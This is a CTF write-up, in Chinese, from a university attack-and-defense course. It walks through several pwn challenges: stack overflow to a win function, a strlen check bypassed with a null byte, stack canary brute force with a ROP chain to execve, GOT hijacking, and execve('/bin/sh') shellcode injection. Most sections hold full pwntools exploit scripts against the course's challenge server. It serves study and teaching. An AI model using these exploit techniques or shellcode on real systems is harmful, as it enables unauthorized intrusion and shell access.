# 電腦攻擊與防禦 (Attack & Defense) Project1 Writeup ###### tags: `CTF` `NCU-Attack&Defense` `ADL-Project` [toc] :::info Teamname: Password: Flag format: `ADL{.*}` ::: > [ctfd](http://ctf.adl.tw/) ## Pwn ### helloworld [Online x86 / x64 Assembler and Disassembler](https://defuse.ca/online-x86-assembler.htm) - return Funtion 位置: ![](https://hackmd.io/_uploads/ByNjnGhZT.png) - 或者設斷點 ![](https://hackmd.io/_uploads/rJn1aG2Za.png) > 進 \bin\sh 只要 call 到 `004011fb` 透過用 `abcdefghijklnmopqrstuvwxyzabcdefghijklnm` 蓋到ret address 從下圖可得知 ![](https://hackmd.io/_uploads/BJNw0Ghba.png) ![](https://hackmd.io/_uploads/ry-ORG2ZT.png) Exploit code: ```python= from pwn import * import struct r = remote('140.115.59.7', 10000) r.recvuntil('way!\n') ret_addr = "\xfb\x11\x40\x00\x00\x00\x00\x00" filler = "abcdefghijklnmopqrstuvwxyzabcdefghijklnm" payload = filler + ret_addr r.sendline(payload) r.interactive() ``` #### `Flag: ADL{TA's mail:john95038101200@gmail.com}` ### helloworld_again * 下載 IDA * IDA 中,F5可以反編譯 return function 沒變,一樣是 ![](https://hackmd.io/_uploads/BkToODBGp.png) 但題目有簡單但超級好繞過的BOF detection: ![](https://hackmd.io/_uploads/HJmftDrGa.png) 前面有 0x30 = 48 Bytes的空間被先分配(local var?) 因此,我們要蓋掉這個48 bytes 再加上 ebp ,上面才會是上一個function caller 的 ret addr ``` | esp | | ret addr of last caller| <- target | ebp of last caller (8B)| --------------------- | ^ buf[47] | | | (48) | | | buf[0] | | | ebp of main f'n| ``` 不過直接overflow 的話,會被前面的判斷是擋下來,因此我們要想如何繞過 `strlen()` 的關卡。 解法是先塞個 0 給他,讓他以為這個string 已經結束了,後面是什麼也就不管了(我們已經在判斷之前覆蓋掉他後面的memory了!) exploit script: ```python from pwn import * import struct import sys from typing import Union r = remote('140.115.59.7', 10001) # r = process("./helloworld_again") context.binary = ELF("./helloworld_again") # reads the function's memory location of local file filler = flat(b"helloworld\0" ,cyclic(48-11+8),0x401260) r.sendafter(b"!\n", filler) r.interactive() ``` #### flag: `ADL{nice_catch_this_flag77777}` ### I'm your father > ![image](https://hackmd.io/_uploads/BJZP2pY4T.png) >> NX on, Canary on Canary bruteforce(Canary) -> Fork, subprocess so that canary keep the same -> ROP Chain (NX) 構造 execve("/bin/bash", 0, 0) -> 59 sys_execve ```asm= rax = 0x3b = 59(10) rdi = '/bin/sh\x00' rsi = 0x00 rdx = 0x00 syscall ``` ```python= from pwn import * r = remote("140.115.59.7", 10011) r.recvuntil("get out\n") r.sendline("1") canary = b'\x61' * 24 + b'\x00' # Buffer size(24) -> Canary -> allgnment(x) -> ROP # Canary '\x00\x....' for k in range(1, 8): # Canary 7 strings unknown for i in range(255, -1, -1): # 0x00-0xff cache = hex(i) if len(cache[2:])==1: cache = '000' + str(cache[2:]) byt = bytes.fromhex(cache[2:]) r.sendafter("father\n", canary + byt) if b"stack" not in r.recv(): canary += byt r.recvuntil("get out\n") r.sendline("1") break r.recvuntil("get out\n") r.sendline("1") data_sec = 0x06d50e0 ### .data addr = 006d50e0 gadget1 = 0x04006c6 ### pop rdi; ret gadget2 = 0x0410893 ### pop rsi; ret gadget3 = 0x044707b ### mov qword ptr [rdi], rsi; ret gadget4 = 0x044c2c9 ### pop rdx ; pop rsi ; ret gadget5 = 0x04005cf ### pop rax ; ret syscall = 0x04013ec ### syscall rop = p64(gadget1) + p64(data_sec) rop += p64(gadget2) + b"/bin/sh\x00" rop += p64(gadget3) # $rdi = bin/sh\x00 rop += p64(gadget4) + p64(0x0)*2 # $rdx = 0x00 # $rsi = 0x00 rop += p64(gadget5) + p64(0x3b) # $rax = 0x3b = 59 rop += p64(syscall) r.recvuntil("father\n") r.send(canary + rop) # canary = 'a' * 24 + canary index r.interactive() ``` ### wakuwaku 三個輸入 ```bash= $ checksec ``` >![image](https://hackmd.io/_uploads/HkGsUu_E6.png) >> NX, Canary有開 Stack[-0x38] -> ebp-0x38 > ![image](https://hackmd.io/_uploads/BJQdHudVp.png) >>第一個輸入 Stack[-0x18] -> ebp-0x18 > ![image](https://hackmd.io/_uploads/rJ0tS_uEa.png) >> 第二個輸入 #### 思路: GOT Hijacking > main -> wakuwaku -> fflush() -> GOT(0x406038) -> 0x401375(16) = 4199285(10) > ![image](https://hackmd.io/_uploads/H1yWUd_N6.png) >> .got.plt > ![image](https://hackmd.io/_uploads/BJ7LH__E6.png) >> 跳進 execve(/bin/bash) 的點 ```python= from pwn import * r = remote('140.115.59.7', 10010) got = 0x406038 r.sendafter(b'Name: ', b'\x61'*(0x38-0x18)+p64(got)) ### \x61->'a' r.recvuntil(b' : ') r.sendline(b'4199285') ### 0x401375 -> execve(/bin/bash) r.interactive() ``` #### `Flag: ADL{p34nu75_15_p32f3c7_f00d, d0n'7_y0u ???}` ### shellcode ![](https://hackmd.io/_uploads/HyHq0kpbT.png) 因為可以直接蓋到 $RIP 直接指定執行下一個指令為 `execve(/bin/sh)` Shellcode->Linux x86-64 From [ShellStorm](https://shell-storm.org/) Shellcode: ```asm= main: xor eax,eax dec eax mov ebx,0x91969dd1 ror BYTE PTR push ebx push esp pop edi cdq push edx push edi push esp pop esi mov al,0x3b syscall ``` `Exploit.py`: ```python= from pwn import * import struct r = remote('140.115.59.7', 10002) r.recvuntil('buffer!!!\n') payload = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" r.sendline(payload) r.interactive() ``` #### `Flag: ADL{this_easy_shellcode_you_did_it!!!}` ### shellcode2 ```asm= RDX 0x7ffe024eb730 ◂— 0x50fc030d163870c RDI 0x0 RSI 0x7ffe024eb730 ◂— 0x50fc030d163870c ``` rdx -> read buffer <- rsi ```python= from pwn import * r = remote('ctf.adl.tw', 10003) #context.arch = 'amd64' #context.log_level = 'DEBUG' #r = process("./shellcode2") ### x64 payload = b'\x0c\x87\x63\xd1\x30\xc0\x0f\x05' + b'\x00' * 12 ### mov al, 0x87 (0c87) ### movsxd edx, ecx (63d1) # 清掉 rdx left 32 bits buffer ### xor al, al (30c0) ### syscall (0f05) payload += (b'\x0c\x87\x63' + b'\x00' * 17) * 9 r.sendafter(b'shellcode!!!\n', payload) nop = b'\x90' shell = b'\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05' ### shellcode ref on the top of writeup payload = nop * 32 + shell r.sendline(payload) r.interactive() ``` #### Flag :`ADL{this_shellcode_is_a_little_difficalt_Great!!}` <!--REF: [2022](https://lebr0nli.github.io/blog/security/NCU-ADL-2022/#modohayaku) [差不多的東西](https://hackmd.io/@jcxyisncu1111/adctf/%2FIfDjQ0D8QEe6oxkLdtEWlg)!--> ### shellcode3 ```python= from pwn import * import struct r = remote('ctf.adl.tw', 10004) # context.arch = 'amd64' # context.log_level = 'DEBUG' # r = process("./shellcode3") ### x64 payload = b'\x0c\x87\x63\xd1\x89\xc0' ### mov al, 0x87 (0c87) ### movsxd edx, ecx (63d1) # 清空 rdx left 32 bits ### mov eax, eax (89c0) # NOP payload += b'\x0c\x87\x63\xc7\x0f\x05' ### mov al, 0x87 (0c87) ### movsxd eax, edi (63c7) # 清空 rax left 32 bits (0x87 加太多) ### syscall (0f05) payload += b'\x0c\x87\x63\x00\x00\x00' * 23 r.sendafter(b'OAO!??\n', payload) nop = b'\x90' shell = b'\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05' ### shellcode ref on the top of writeup payload = nop * 15 + shell r.sendline(payload) r.interactive() ``` #### Flag: `ADL{this_shellcode3_is_very_difficalt_Great77777!!!}`